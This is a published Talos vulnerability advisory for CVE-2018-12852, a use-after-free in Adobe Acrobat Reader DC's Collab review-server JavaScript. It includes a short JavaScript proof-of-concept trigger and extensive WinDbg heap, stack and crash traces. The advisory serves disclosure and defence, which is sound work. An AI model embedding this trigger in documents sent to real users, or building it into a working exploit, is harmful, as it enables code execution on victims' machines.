Talos Vulnerability Report

TALOS-2018-0623

Adobe Acrobat Reader DC collab review server remote code execution vulnerability

October 2, 2018
CVE Number

CVE-2018-12852

Summary

Specific JavaScript code embedded in a PDF file can lead to a use-after-free condition when opening a PDF document in Adobe Acrobat Reader DC 2018.011.20040. With careful memory manipulation, this can lead to arbitrary code execution. In order to trigger this vulnerability, the victim would need to open the malicious file or access a malicious web page.

Tested Versions

Adobe Acrobat Reader DC 2018.011.20040

Product URLs

https://get.adobe.com/reader/

CVSSv3 Score

6.8 - CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416: Use After Free

Details

Adobe Acrobat Reader is the most popular and most feature-rich PDF reader. It has a large user base, is usually a default PDF reader on systems and integrates into web browsers as a plugin for rendering PDFs. As such, tricking a user into visiting a malicious web page or sending a specially crafted email attachment can be enough to trigger this vulnerability. The one method call required to trigger this vulnerability is privileged and can only be called from trusted functions or from a trusted location. Additionally, the use-after-free condition is only triggered upon closing the application.

Adobe Acrobat Reader DC supports embedded JavaScript code in the PDF to allow for interactive PDF forms. This gives the potential attacker the ability to precisely control memory layout and poses an additional attack surface.

While executing the following piece of code, a stale reference misuse can lead to a dereference of a previously freed object which can cause further memory corruption:

var vars = new Array(1);
vars[0] = this.RSS.getResourceContents({});
this.Collab.addReviewServer({},1,this.event,false); 
this.Collab.reviewServers;

When closing the application, a number of objects are freed and due to cache/reference mishandling, an object is referenced again after it has been freed already. If we let Adobe Reader execute all JavaScript code, then break, we can set the breakpoint at AcroRd32!AcroWinMainSandbox+0x1e7f5`. After trying to close the application, our breakpoint will be hit a total of nine times. We are interested in the last two. The second to last time our breakpoint is hit, we see:

Breakpoint 1 hit
eax=2813b008 ebx=00000001 ecx=63a9f3d8 edx=1e5c7010 esi=26aef000 edi=2813b008
eip=5fdd8779 esp=0061ea78 ebp=0061ea7c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
AcroRd32!AcroWinMainSandbox+0x1e7f5:
5fdd8779 8b4810          mov     ecx,dword ptr [eax+10h] ds:0023:2813b018=60ca3f44
0:000> !heap -p -a eax
    address 2813b008 found in
    _DPH_HEAP_ROOT @ 381000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                291b1888:         2813b000               70 -         2813a000             2000
          ? AcroRd32!PDMediaQuerySetMediaType+1da9a8
    6a748e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77d861fe ntdll!RtlDebugAllocateHeap+0x00000030
    77d4a0d3 ntdll!RtlpAllocateHeap+0x000000c4
    77d158e0 ntdll!RtlAllocateHeap+0x0000023a
    6a2b1c63 MSVCR120!_calloc_impl+0x00000045 [f:\dd\vctools\crt\crtw32\heap\calloc_impl.c @ 44]
    6a2bd5fb MSVCR120!calloc+0x00000018 [f:\dd\vctools\crt\crtw32\heap\calloc.c @ 48]
    5fdbd986 AcroRd32!AcroWinMainSandbox+0x00003a02
    5fdd653f AcroRd32!AcroWinMainSandbox+0x0001c5bb
    5fdd64f6 AcroRd32!AcroWinMainSandbox+0x0001c572
    63bfdd11 Annots!PlugInMain+0x001a9e10
    691c25d3 EScript!mozilla::HashBytes+0x00041f5d
    691a75ce EScript!mozilla::HashBytes+0x00026f58
    691a17da EScript!mozilla::HashBytes+0x00021164
    691a0606 EScript!mozilla::HashBytes+0x0001ff90
    691a0511 EScript!mozilla::HashBytes+0x0001fe9b
    691a0458 EScript!mozilla::HashBytes+0x0001fde2
    69189e2e EScript!mozilla::HashBytes+0x000097b8
    691c85ec EScript!mozilla::HashBytes+0x00047f76
    691c8370 EScript!mozilla::HashBytes+0x00047cfa
    691c7de3 EScript!mozilla::HashBytes+0x0004776d
    691c6cd5 EScript!mozilla::HashBytes+0x0004665f
    692367da EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x0005faf5
    604ee722 AcroRd32!AIDE::PixelPartInfo::operator=+0x000e4c82
    6042be3c AcroRd32!AIDE::PixelPartInfo::operator=+0x0002239c
    604284ca AcroRd32!AIDE::PixelPartInfo::operator=+0x0001ea2a
    6027e942 AcroRd32!AX_PDXlateToHostEx+0x00159714
    6027ee52 AcroRd32!AX_PDXlateToHostEx+0x00159c24
    6042bb1a AcroRd32!AIDE::PixelPartInfo::operator=+0x0002207a
    5ff14d28 AcroRd32!PDMediaQueriesGetCosObj+0x0001d108
    5fedc94a AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000bb102
    5fe53a52 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0003220a
    5fe52f0d AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000316c5

We break just as eax is being dereferenced, and it's vtable being accessed. The code that follows is:

0:000> u
AcroRd32!AcroWinMainSandbox+0x1e7f5:
5fdd8779 8b4810          mov     ecx,dword ptr [eax+10h]
5fdd877c ff5118          call    dword ptr [ecx+18h]
5fdd877f 59              pop     ecx
5fdd8780 5d              pop     ebp
5fdd8781 c3              ret
5fdd8782 55              push    ebp
5fdd8783 8bec            mov     ebp,esp
5fdd8785 8b4508          mov     eax,dword ptr [ebp+8]

From the previous !heap output, we can see that the object is currently in a busy allocation of size 0x70. The callstack at the previous breakpoint is as follows:

0:000> k
 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0061ea7c 63c421e0 AcroRd32!AcroWinMainSandbox+0x1e7f5
01 0061eab4 691db40e Annots!PlugInMain+0x1ee2df
02 0061eaf8 691db39d EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x4729
03 0061eb24 691db1d9 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x46b8
04 0061eb5c 691db00c EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x44f4
05 0061eb7c 691daf67 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x4327
06 0061eb98 691daed5 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x4282
07 0061ebcc 691dae19 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x41f0
08 0061ec00 691d92b0 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x4134
09 0061ec98 691d870f EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x25cb
0a 0061ecd4 691d2bbd EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x1a2a
0b 0061ed14 691d28b5 EScript!mozilla::HashBytes+0x52547
0c 0061ed54 691d1876 EScript!mozilla::HashBytes+0x5223f
0d 0061edd0 691d16d6 EScript!mozilla::HashBytes+0x51200
0e 0061edf0 691dea70 EScript!mozilla::HashBytes+0x51060
0f 0061ee5c 691de961 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x7d8b
10 0061ee6c 691de7b4 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x7c7c
11 0061eea8 691de6d5 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x7acf
12 0061eeb0 6917751b EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x79f0
13 0061eef0 691773f6 EScript!PlugInMain+0x497c
14 0061f330 6004d617 EScript!PlugInMain+0x4857
15 0061f340 6004d490 AcroRd32!CTJPEGDecoderRelease+0xdf17
16 0061f364 5fdc160c AcroRd32!CTJPEGDecoderRelease+0xdd90
17 0061f388 77b7c4b7 AcroRd32!AcroWinMainSandbox+0x7688
18 0061f3b4 77b7c5b7 USER32!InternalCallWinProc+0x23
19 0061f42c 77b7cbe9 USER32!UserCallWinProcCheckWow+0x14b
1a 0061f48c 77b7cc40 USER32!DispatchMessageWorker+0x357
1b 0061f49c 5fe1d9ef USER32!DispatchMessageW+0xf
1c 0061f510 5fe1d7fb AcroRd32!DllCanUnloadNow+0x1c873
1d 0061f548 5fdba871 AcroRd32!DllCanUnloadNow+0x1c67f
1e 0061f5b4 5fdba14e AcroRd32!AcroWinMainSandbox+0x8ed
1f 0061f9d4 00157435 AcroRd32!AcroWinMainSandbox+0x1ca
20 0061fd58 00249cf1 AcroRd32_exe+0x7435
21 0061fda4 76ccefac AcroRd32_exe!GetWinstaDesktopInfoForRdrCEF+0x8fe11
22 0061fdb0 77d23628 kernel32!BaseThreadInitThunk+0xe
23 0061fdf0 77d235fb ntdll!__RtlUserThreadStart+0x70
24 0061fe08 00000000 ntdll!_RtlUserThreadStart+0x1b

If we let the process resume, it will eventually free this object:

0:000> g
Breakpoint 2 hit
eax=6130e2bc ebx=00000000 ecx=5fdd8883 edx=003810d0 esi=2813b000 edi=2813b000
eip=6a2aece0 esp=0061ea0c ebp=0061ea18 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
MSVCR120!free:
6a2aece0 55              push    ebp
0:000> k
 # ChildEBP RetAddr  
00 0061ea08 5fdd8810 MSVCR120!free [f:\dd\vctools\crt\crtw32\heap\free.c @ 40] 
WARNING: Stack unwind information not available. Following frames may be wrong.
01 0061ea18 5fdd6a64 AcroRd32!AcroWinMainSandbox+0x1e88c
02 0061ea44 5fdd87ed AcroRd32!AcroWinMainSandbox+0x1cae0
03 0061ea70 5fdd877f AcroRd32!AcroWinMainSandbox+0x1e869
04 0061ea7c 63c421e0 AcroRd32!AcroWinMainSandbox+0x1e7fb
05 0061eab4 691db40e Annots!PlugInMain+0x1ee2df
06 0061eaf8 691db39d EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x4729
07 0061eb24 691db1d9 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x46b8
08 0061eb5c 691db00c EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x44f4
09 0061eb7c 691daf67 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x4327
0a 0061eb98 691daed5 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x4282
0b 0061ebcc 691dae19 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x41f0
0c 0061ec00 691d92b0 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x4134
0d 0061ec98 691d870f EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x25cb
0e 0061ecd4 691d2bbd EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x1a2a
0f 0061ed14 691d28b5 EScript!mozilla::HashBytes+0x52547
10 0061ed54 691d1876 EScript!mozilla::HashBytes+0x5223f
11 0061edd0 691d16d6 EScript!mozilla::HashBytes+0x51200
12 0061edf0 691dea70 EScript!mozilla::HashBytes+0x51060
13 0061ee5c 691de961 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x7d8b
14 0061ee6c 691de7b4 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x7c7c
15 0061eea8 691de6d5 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x7acf
16 0061eeb0 6917751b EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x79f0
17 0061eef0 691773f6 EScript!PlugInMain+0x497c
18 0061f330 6004d617 EScript!PlugInMain+0x4857
19 0061f340 6004d490 AcroRd32!CTJPEGDecoderRelease+0xdf17
1a 0061f364 5fdc160c AcroRd32!CTJPEGDecoderRelease+0xdd90
1b 0061f388 77b7c4b7 AcroRd32!AcroWinMainSandbox+0x7688
1c 0061f3b4 77b7c5b7 USER32!InternalCallWinProc+0x23

This lets us examine both where the object was freed and how it was retrieved. Continuing the execution brings us back once again to our initial breakpoint:

Breakpoint 1 hit
eax=2813b008 ebx=00000001 ecx=63a9f3d8 edx=1e5c7010 esi=7ae42778 edi=2813b008
eip=5fdd8779 esp=0061ea78 ebp=0061ea7c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
AcroRd32!AcroWinMainSandbox+0x1e7f5:
5fdd8779 8b4810          mov     ecx,dword ptr [eax+10h] ds:0023:2813b018=????????

We can see that the same object is being dereferenced. Since the object has been freed, this triggers a use-after-free condition and results in an immediate crash. In essence, the same object reference is being used to free the object twice.

With heap debugging flags fully disabled, this leads to a crash when the process tries to execute code on a random address with which the freed memory was overwritten. With careful memory layout manipulation, that address could point to attacker-controlled code and ultimately result in arbitrary code execution.

Crash Information

Crash with heap debugging disabled:

(eb8.aa0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=62340098 ebx=00000000 ecx=045ee2f8 edx=04356ee8 esi=0018e8ac edi=045ee2f8
eip=ffff008d esp=0018e86c ebp=0018e894 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210202
ffff008d ??              ???
0:000> dd eax
62340098  ffff008d 7bcbe9ff 8d8dff3e fffffe7c
623400a8  801263e9 dc8d8dff e9fffffe ffe91ee8    
0:000> k 5
 # ChildEBP RetAddr  
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 0018e868 61506a64 0xffff008d
01 0018e894 615087ed AcroRd32!AcroWinMainSandbox+0x1cae0
02 0018e8c0 6150877f AcroRd32!AcroWinMainSandbox+0x1e869
03 0018e8cc 63c421e0 AcroRd32!AcroWinMainSandbox+0x1e7fb
04 0018e904 64e4b40e Annots!PlugInMain+0x1ee2df
0:000> u 61506a5e 
AcroRd32!AcroWinMainSandbox+0x1cada:
61506a5e 8b01            mov     eax,dword ptr [ecx]
61506a60 6a01            push    1
61506a62 ff10            call    dword ptr [eax]
61506a64 c706e4e83462    mov     dword ptr [esi],offset AcroRd32!PDMediaQuerySetMediaType+0x154b44 (6234e8e4)

Timeline

2018-07-05 - Vendor Disclosure
2018-10-01 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos